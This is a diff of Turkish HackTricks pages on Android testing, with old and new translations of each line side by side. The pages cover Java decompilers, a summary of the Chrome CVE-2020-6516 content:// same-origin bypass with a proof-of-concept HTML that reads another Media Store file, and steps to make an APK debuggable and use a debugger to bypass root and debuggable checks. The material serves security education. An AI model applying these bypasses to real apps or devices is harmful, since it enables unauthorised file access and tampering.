||||
Bu, sağlanan APK'nın Java bytecode eşdeğerini oluşturur.
|
||||
|
||||
### [CFR](https://github.com/leibnitz27/cfr)
|
||||
|
||||
**CFR**, modern Java özelliklerini decompile etme yeteneğine sahiptir. Aşağıdaki gibi kullanın:
|
||||
**CFR**, modern Java özelliklerini decompile edebilir. Aşağıdaki gibi kullanın:
|
||||
|
||||
- Standart decompile için: `java -jar ./cfr.jar "app.jar" --outputdir "çıktı_dizini"`
|
||||
- Büyük JAR dosyaları için JVM bellek tahsisini ayarlayın: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "çıktı_dizini"`
|
||||
- Standart decompilation için: `java -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
|
||||
- Büyük JAR dosyaları için, JVM bellek tahsisini ayarlayın: `java -Xmx4G -jar ./cfr.jar "app.jar" --outputdir "output_directory"`
|
||||
|
||||
### [Fernflower](https://github.com/JetBrains/intellij-community/tree/master/plugins/java-decompiler/engine)
|
||||
|
||||
**Fernflower**, analitik bir decompiler olup, kaynaktan derleme gerektirir. Derledikten sonra:
|
||||
**Fernflower**, analitik bir decompiler'dır ve kaynak koddan inşa edilmesi gerekir. İnşa ettikten sonra:
|
||||
|
||||
- Bir JAR dosyasını decompile edin: `java -jar ./fernflower.jar "app.jar" "çıktı_dizini"`
|
||||
Ardından, oluşturulan JAR'dan `.java` dosyalarını `unzip` kullanarak çıkarın.
|
||||
- Bir JAR dosyasını decompile edin: `java -jar ./fernflower.jar "app.jar" "output_directory"`
|
||||
Ardından, oluşturulan JAR'dan `.java` dosyalarını çıkarmak için `unzip` kullanın.
|
||||
|
||||
### [Krakatau](https://github.com/Storyyeller/Krakatau)
|
||||
|
||||
**Krakatau**, özellikle harici kütüphaneleri işlemek için decompilation üzerinde ayrıntılı kontrol sağlar.
|
||||
**Krakatau**, decompilation üzerinde detaylı kontrol sunar, özellikle dış kütüphaneleri işlerken.
|
||||
|
||||
- Krakatau'yu kullanırken, standart kütüphane yolunu ve decompile edilecek JAR dosyasını belirtin: `./Krakatau/decompile.py -out "çıktı_dizini" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
|
||||
- Krakatau'yu kullanmak için standart kütüphane yolunu ve decompile edilecek JAR dosyasını belirtin: `./Krakatau/decompile.py -out "output_directory" -skip -nauto -path "./jrt-extractor/rt.jar" "app.jar"`
|
||||
|
||||
### [procyon](https://github.com/mstrobel/procyon)
|
||||
|
||||
**procyon** ile basit decompilation için:
|
||||
**procyon** ile basit bir decompilation için:
|
||||
|
||||
- Bir JAR dosyasını belirtilen bir dizine decompile edin: `procyon -jar "app.jar" -o "çıktı_dizini"`
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
|
||||
</details>
|
||||
- Bir JAR dosyasını belirtilen dizine decompile edin: `procyon -jar "app.jar" -o "output_directory"`
|
||||
|
|
|
@ -1,40 +1,39 @@
|
|||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
|
||||
* **Hacking püf noktalarınızı paylaşarak PR göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
**Bu, [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/) gönderisinin özeti.**
|
||||
**Bu, [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/) gönderisinin bir özetidir.**
|
||||
|
||||
### Ortam Mağazasındaki Dosyaların Listelenmesi
|
||||
Ortam Mağazası tarafından yönetilen dosyaları listelemek için aşağıdaki komut kullanılabilir:
|
||||
### Medya Mağazasında Dosyaları Listeleme
|
||||
Medya Mağazası tarafından yönetilen dosyaları listelemek için aşağıdaki komut kullanılabilir:
|
||||
```bash
|
||||
$ content query --uri content://media/external/file
|
||||
```
|
||||
Daha insan dostu bir çıktı için yalnızca dizinlenen her dosyanın tanımlayıcısını ve yolunu görüntüleme:
|
||||
Daha insan dostu bir çıktı için, her indekslenmiş dosyanın yalnızca tanımlayıcısını ve yolunu gösterin:
|
||||
```bash
|
||||
$ content query --uri content://media/external/file --projection _id,_data
|
||||
```
|
||||
### İçerik Sağlayıcıları
|
||||
|
||||
İçerik sağlayıcıları kendi özel ad alanlarında izole edilmiştir. Bir sağlayıcıya erişim belirli `content://` URI'si gerektirir. Bir sağlayıcıya erişmek için gerekli yol bilgileri, uygulama manifestolarından veya Android çerçevesinin kaynak kodundan elde edilebilir.
|
||||
İçerik sağlayıcıları kendi özel ad alanlarında izole edilmiştir. Bir sağlayıcıya erişim, belirli bir `content://` URI'sini gerektirir. Bir sağlayıcıya erişim yolları hakkında bilgi, uygulama manifestolarından veya Android çerçevesinin kaynak kodundan elde edilebilir.
|
||||
|
||||
### Chrome'un İçerik Sağlayıcılara Erişimi
|
||||
Android'deki Chrome, üçüncü taraf uygulamalar tarafından dışa aktarılan fotoğraflar veya belgeler gibi kaynaklara erişmesine izin veren `content://` şeması aracılığıyla içerik sağlayıcılarına erişebilir. Bunu göstermek için bir dosya Medya Deposuna eklenip ardından Chrome üzerinden erişilebilir:
|
||||
Android'deki Chrome, `content://` şeması aracılığıyla içerik sağlayıcılara erişebilir ve bu sayede üçüncü taraf uygulamalar tarafından dışa aktarılan fotoğraflar veya belgeler gibi kaynaklara erişim sağlar. Bunu göstermek için, bir dosya Medya Deposu'na eklenebilir ve ardından Chrome aracılığıyla erişilebilir:
|
||||
|
||||
Medya Deposuna özel bir giriş ekleyin:
|
||||
Medya Deposu'na özel bir giriş ekleyin:
|
||||
```bash
|
||||
cd /sdcard
|
||||
echo "Hello, world!" > test.txt
|
||||
|
@ -42,27 +41,27 @@ content insert --uri content://media/external/file \
|
|||
--bind _data:s:/storage/emulated/0/test.txt \
|
||||
--bind mime_type:s:text/plain
|
||||
```
|
||||
Yeni eklenen dosyanın kimliğini keşfedin:
|
||||
Yeni eklenen dosyanın tanımlayıcısını keşfedin:
|
||||
```bash
|
||||
content query --uri content://media/external/file \
|
||||
--projection _id,_data | grep test.txt
|
||||
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
|
||||
```
|
||||
Dosya daha sonra dosyanın tanımlayıcısı kullanılarak oluşturulan bir URL kullanılarak Chrome'da görüntülenebilir.
|
||||
Dosya, dosyanın tanımlayıcısıyla oluşturulmuş bir URL kullanılarak Chrome'da görüntülenebilir.
|
||||
|
||||
Örneğin, belirli bir uygulamayla ilgili dosyaları listelemek için:
|
||||
Örneğin, belirli bir uygulama ile ilgili dosyaları listelemek için:
|
||||
```bash
|
||||
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
|
||||
```
|
||||
### Chrome CVE-2020-6516: Aynı Köken Politikası Atlatma
|
||||
### Chrome CVE-2020-6516: Same-Origin-Policy Bypass
|
||||
|
||||
_Aynı Köken Politikası_ (SOP), tarayıcılardaki bir güvenlik protokolüdür ve bir Çapraz-Köken-Kaynak-Paylaşımı (CORS) politikası tarafından açıkça izin verilmedikçe web sayfalarının farklı kökenlerden kaynaklarla etkileşmesini kısıtlar. Bu politika, bilgi sızıntılarını ve çapraz site istek sahteciliğini önlemeyi amaçlar. Chrome, `content://`'yi yerel bir şema olarak kabul eder ve her yerel şema URL'sinin ayrı bir köken olarak işlendiği daha katı SOP kuralları ima eder.
|
||||
_**Aynı Kaynak Politikası**_ (SOP), tarayıcılarda farklı kaynaklardan gelen verilerle etkileşimi kısıtlayan bir güvenlik protokolüdür; bu etkileşim, yalnızca bir Cross-Origin-Resource-Sharing (CORS) politikası ile açıkça izin verilirse mümkündür. Bu politika, bilgi sızıntılarını ve çapraz site istek sahtekarlığını önlemeyi amaçlar. Chrome, `content://`'ı yerel bir şema olarak kabul eder ve bu da daha sıkı SOP kurallarını ifade eder; burada her yerel şema URL'si ayrı bir kaynak olarak değerlendirilir.
|
||||
|
||||
Ancak, CVE-2020-6516, Chrome'da `content://` URL'si aracılığıyla yüklenen kaynaklar için SOP kurallarının atlatılmasına izin veren bir güvenlik açığıydı. Sonuç olarak, bir `content://` URL'sinden JavaScript kodu, özellikle Android 10'dan önceki sürümlerde uygulanmayan kapsamlı depolama olmadığı durumlarda, diğer `content://` URL'si aracılığıyla yüklenen diğer kaynaklara erişebilirdi, bu da önemli bir güvenlik endişesi oluşturuyordu.
|
||||
Ancak, CVE-2020-6516, `content://` URL'si aracılığıyla yüklenen kaynaklar için SOP kurallarının aşılmasına izin veren bir Chrome zafiyetiydi. Sonuç olarak, `content://` URL'sinden gelen JavaScript kodu, `content://` URL'leri aracılığıyla yüklenen diğer kaynaklara erişebiliyordu; bu, özellikle Android 10'dan önceki sürümleri çalıştıran Android cihazlarda, kapsamlı depolamanın uygulanmadığı durumlarda önemli bir güvenlik endişesiydi.
|
||||
|
||||
Aşağıdaki kavram kanıtı, bir HTML belgesinin, **/sdcard** altına yüklendikten ve Medya Deposuna ekledikten sonra, JavaScript içindeki `XMLHttpRequest` kullanarak Medya Deposundaki başka bir dosyanın içeriğine erişip gösterdiği bu güvenlik açığı göstermektedir, SOP kurallarını atlayarak.
|
||||
Aşağıdaki kanıt konsepti, **/sdcard** altında yüklendikten sonra Medya Deposu'na eklenen bir HTML belgesinin, JavaScript'inde `XMLHttpRequest` kullanarak Medya Deposu'ndaki başka bir dosyanın içeriğine erişip görüntülediği bu zafiyeti göstermektedir ve SOP kurallarını aşmaktadır.
|
||||
|
||||
Kavram Kanıtı HTML:
|
||||
Proof-of-Concept HTML:
|
||||
```xml
|
||||
<html>
|
||||
<head>
|
||||
|
@ -95,16 +94,17 @@ xhr.send();
|
|||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,83 +1,108 @@
|
|||
# Hata Ayıklanabilir Bir Uygulamanın Sömürülmesi
|
||||
# Debuggable bir uygulamanın istismar edilmesi
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hackleme becerilerinizi sıfırdan kahraman seviyesine yükseltin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>ile</strong>!</summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* Şirketinizi HackTricks'te **tanıtmak** veya HackTricks'i **PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **pull request** göndererek paylaşın.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
# **Root ve Hata Ayıklanabilir Kontrollerini Atlama**
|
||||
# **Root ve debuggeable kontrollerinin atlatılması**
|
||||
|
||||
Bu bölüm, [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0) adlı yazıdan bir özet içermektedir.
|
||||
Bu bölüm, [**https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0**](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0) adresindeki yazının bir özetidir.
|
||||
|
||||
## Bir Android Uygulamasını Hata Ayıklanabilir Hale Getirme ve Kontrolleri Atlama Adımları
|
||||
## Android Uygulamasını Debuggable Hale Getirme ve Kontrolleri Atlatma Adımları
|
||||
|
||||
### **Uygulamayı Hata Ayıklanabilir Hale Getirme**
|
||||
### **Uygulamayı Debuggable Hale Getirme**
|
||||
|
||||
İçerik, https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0 adresindeki yazıya dayanmaktadır.
|
||||
İçerik https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0 adresine dayanmaktadır.
|
||||
|
||||
1. **APK'nın Geri Derlenmesi:**
|
||||
- APK'nın geri derlenmesi için APK-GUI aracı kullanılır.
|
||||
1. **APK'yı Decompile Etme:**
|
||||
- APK'yı decompile etmek için APK-GUI aracını kullanın.
|
||||
- _android-manifest_ dosyasına `android:debuggable=true` ekleyerek hata ayıklama modunu etkinleştirin.
|
||||
- Değiştirilmiş uygulamayı yeniden derleyin, imzalayın ve zipalign yapın.
|
||||
- Değiştirilen uygulamayı yeniden derleyin, imzalayın ve zipalign yapın.
|
||||
|
||||
2. **Değiştirilmiş Uygulamanın Yüklenmesi:**
|
||||
- `adb install <uygulama_adı>` komutunu kullanın.
|
||||
2. **Değiştirilen Uygulamayı Yükleme:**
|
||||
- Komutu kullanın: `adb install <application_name>`.
|
||||
|
||||
3. **Paket Adının Alınması:**
|
||||
- Üçüncü taraf uygulamaların listesini almak için `adb shell pm list packages –3` komutunu çalıştırın ve paket adını bulun.
|
||||
3. **Paket Adını Alma:**
|
||||
- Üçüncü taraf uygulamaları listelemek ve paket adını bulmak için `adb shell pm list packages –3` komutunu çalıştırın.
|
||||
|
||||
4. **Uygulamanın Hata Ayıklama Bağlantısını Beklemesi İçin Ayarlanması:**
|
||||
- Komut: `adb shell am setup-debug-app –w <paket_adı>`.
|
||||
- **Not:** Bu komut, uygulamayı başlatmadan önce her seferinde çalıştırılmalıdır ve hata ayıklama beklemesi için gereklidir.
|
||||
- Kalıcılık için `adb shell am setup-debug-app –w -–persistent <paket_adı>` kullanın.
|
||||
- Tüm bayrakları kaldırmak için `adb shell am clear-debug-app <paket_adı>` kullanın.
|
||||
4. **Uygulamayı Debugger Bağlantısını Bekleyecek Şekilde Ayarlama:**
|
||||
- Komut: `adb shell am setup-debug-app –w <package_name>`.
|
||||
- **Not:** Bu komut, uygulamayı başlatmadan önce her seferinde çalıştırılmalıdır, böylece debugger'ı bekler.
|
||||
- Kalıcılık için `adb shell am setup-debug-app –w -–persistent <package_name>` kullanın.
|
||||
- Tüm bayrakları kaldırmak için `adb shell am clear-debug-app <package_name>` komutunu kullanın.
|
||||
|
||||
5. **Android Studio'da Hata Ayıklamaya Hazırlık:**
|
||||
5. **Android Studio'da Hata Ayıklama İçin Hazırlık:**
|
||||
- Android Studio'da _File -> Open Profile or APK_ yolunu izleyin.
|
||||
- Derlenmiş APK'yı açın.
|
||||
- Yeniden derlenmiş APK'yı açın.
|
||||
|
||||
6. **Ana Java Dosyalarında Kesme Noktaları Ayarlama:**
|
||||
- `MainActivity.java` (özellikle `onCreate` yönteminde), `b.java` ve `ContextWrapper.java` dosyalarına kesme noktaları yerleştirin.
|
||||
- `MainActivity.java` (özellikle `onCreate` metodunda), `b.java` ve `ContextWrapper.java` dosyalarında kesme noktaları koyun.
|
||||
|
||||
### **Kontrolleri Atlama**
|
||||
### **Kontrolleri Atlatma**
|
||||
|
||||
Uygulama, belirli noktalarda hata ayıklanabilir olup olmadığını kontrol edecek ve köklü bir cihazı gösteren ikili dosyaları kontrol edecektir. Hata ayıklayıcı, uygulama bilgilerini değiştirmek, hata ayıklanabilir biti kaldırmak ve bu kontrolleri atlatabilmek için aranan ikili dosyaların adlarını değiştirmek için kullanılabilir.
|
||||
Uygulama, belirli noktalarda debuggeable olup olmadığını kontrol edecek ve köklü bir cihazı gösteren ikili dosyaları da kontrol edecektir. Debugger, uygulama bilgilerini değiştirmek, debuggeable bitini kaldırmak ve aranan ikili dosyaların adlarını değiştirmek için kullanılabilir.
|
||||
|
||||
Hata ayıklanabilirlik kontrolü için:
|
||||
Debuggable kontrolü için:
|
||||
|
||||
1. **Bayrak Ayarlarını Değiştirme:**
|
||||
- Hata ayıklama konsolunun değişken bölümünde, `this mLoadedAPK -> mApplicationInfo -> flags = 814267974` yolunu izleyin.
|
||||
- **Not:** `flags = 814267974`'ün ikili temsili `11000011100111011110` olduğunu gösterir ve "Flag_debuggable" aktiftir.
|
||||
- Debugger konsolunun değişken bölümünde, `this mLoadedAPK -> mApplicationInfo -> flags = 814267974` yolunu izleyin.
|
||||
- **Not:** `flags = 814267974` ikili temsili `11000011100111011110` olup, "Flag_debuggable" bayrağının aktif olduğunu gösterir.
|
||||
|
||||
![https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png](https://miro.medium.com/v2/resize:fit:1400/1*-ckiSbWGSoc1beuxxpKbow.png)
|
||||
|
||||
Bu adımlar, uygulamanın hata ayıklanabilir olmasını ve hata ayıklama kullanarak belirli güvenlik kontrollerini atlatabilmesini sağlar, böylece uygulamanın davranışını daha ayrıntılı bir şekilde analiz etmek veya değiştirmek mümkün olur.
|
||||
Bu adımlar, uygulamanın hata ayıklanabilir olmasını ve belirli güvenlik kontrollerinin debugger kullanılarak atlatılmasını sağlar, böylece uygulamanın davranışının daha derinlemesine analizi veya değiştirilmesi mümkün olur.
|
||||
|
||||
2. adımda, bayrak değerini 814267972 olarak değiştirmek gerekmektedir ve bu ikili olarak 110000101101000000100010100 şeklinde temsil edilir.
|
||||
Adım 2, bir bayrak değerini 814267972 olarak değiştirmeyi içerir; bu, ikili olarak 110000101101000000100010100 şeklinde temsil edilir.
|
||||
|
||||
# **Bir Zafiyeti Sömürme**
|
||||
# **Bir Açığı İstismar Etme**
|
||||
|
||||
Düzenlenebilir bir uygulama kullanılarak bir gösterim yapıldı. Uygulama bir düğme ve bir metin görüntüler. Başlangıçta, uygulama "Crack Me" olarak görüntülenir. Amaç, kaynak kodu değiştirmeden çalışma zamanında mesajı "Try Again" yerine "Hacked" olarak değiştirmektir.
|
||||
Bir düğme ve bir metin görünümü içeren savunmasız bir uygulama kullanılarak bir gösterim sağlandı. Başlangıçta uygulama "Crack Me" mesajını gösterir. Amaç, kaynak kodunu değiştirmeden "Try Again" mesajını "Hacked" olarak değiştirmektir.
|
||||
|
||||
## **Zafiyetin Kontrol Edilmesi**
|
||||
- Uygulama, `apktool` kullanılarak `AndroidManifest.xml` dosyasına erişmek için geri derlendi.
|
||||
- AndroidManifest.xml'de `android_debuggable="true"` varlığı, uygulamanın hata ayıklanabilir olduğunu ve sömürülebilir olduğunu gösterir.
|
||||
- `apktool`'un yalnızca kodu değiştirmeden hata ayıklanabilir durumunu kontrol etmek için kullanıldığına dikkat edilmelidir.
|
||||
## **Açığı Kontrol Etme**
|
||||
- Uygulama, `AndroidManifest.xml` dosyasına erişmek için `apktool` kullanılarak decompile edildi.
|
||||
- AndroidManifest.xml dosyasında `android_debuggable="true"` ifadesinin varlığı, uygulamanın debuggeable olduğunu ve istismara açık olduğunu gösterir.
|
||||
- `apktool`'un yalnızca debuggeable durumunu kontrol etmek için kullanıldığını ve herhangi bir kodu değiştirmediğini belirtmek önemlidir.
|
||||
|
||||
## **Kurulumun Hazırlanması**
|
||||
- İşlem, bir emülatörün başlatılması, zafiyetli uygulamanın yüklenmesi ve dinleyen Dalvik VM bağlantı noktalarını belirlemek için `adb jdwp` kullanılmasıyla gerçekleştirildi.
|
||||
- JDWP (Java Debug Wire Protocol), bir VM'de çalışan bir uygulamanın hata ayıklanmasına olanak sağlayan benzersiz bir bağlantı noktasını açığa çıkarır.
|
||||
- Uzaktan hata ayıklama için port yönlendirme gereklidir, ardından JDB'nin hedef uygulamaya bağlanması yapılır.
|
||||
## **Kurulumu Hazırlama**
|
||||
- Süreç, bir emülatör başlatmayı, savunmasız uygulamayı yüklemeyi ve dinleyen Dalvik VM portlarını belirlemek için `adb jdwp` kullanmayı içeriyordu.
|
||||
- JDWP (Java Debug Wire Protocol), bir VM'de çalışan bir uygulamanın hata ayıklanmasını sağlamak için benzersiz bir port açar.
|
||||
- Uzaktan hata ayıklama için port yönlendirme gerekliydi, ardından JDB hedef uygulamaya bağlandı.
|
||||
|
||||
## **Çalışma Zamanında Kod Enjeksiyonu**
|
||||
- Sömürü, kesme noktalarının ayarlanması ve uygulama akışının kontrol edilmesiyle gerçekleştirildi.
|
||||
- `classes` ve `methods <class_name>` gibi komutlar kullanılar
|
||||
## **Çalışma Zamanında Kod Enjekte Etme**
|
||||
- İstismar, kesme noktaları ayarlayarak ve uygulama akışını kontrol ederek gerçekleştirildi.
|
||||
- Uygulamanın yapısını ortaya çıkarmak için `classes` ve `methods <class_name>` gibi komutlar kullanıldı.
|
||||
- `onClick` metodunda bir kesme noktası ayarlandı ve yürütmesi kontrol edildi.
|
||||
- `locals`, `next` ve `set` komutları, yerel değişkenleri incelemek ve değiştirmek için kullanıldı; özellikle "Try Again" mesajını "Hacked" olarak değiştirmek için.
|
||||
- Değiştirilen kod, `run` komutu kullanılarak yürütüldü ve uygulamanın çıktısı gerçek zamanlı olarak başarıyla değiştirildi.
|
||||
|
||||
Bu örnek, debuggeable bir uygulamanın davranışının nasıl manipüle edilebileceğini gösterdi ve uygulama bağlamında cihazda shell erişimi elde etme gibi daha karmaşık istismarların potansiyelini vurguladı.
|
||||
|
||||
## Referanslar
|
||||
* [https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0](https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0)
|
||||
* [https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications)
|
||||
|
||||
{% hint style="success" %}
|
||||
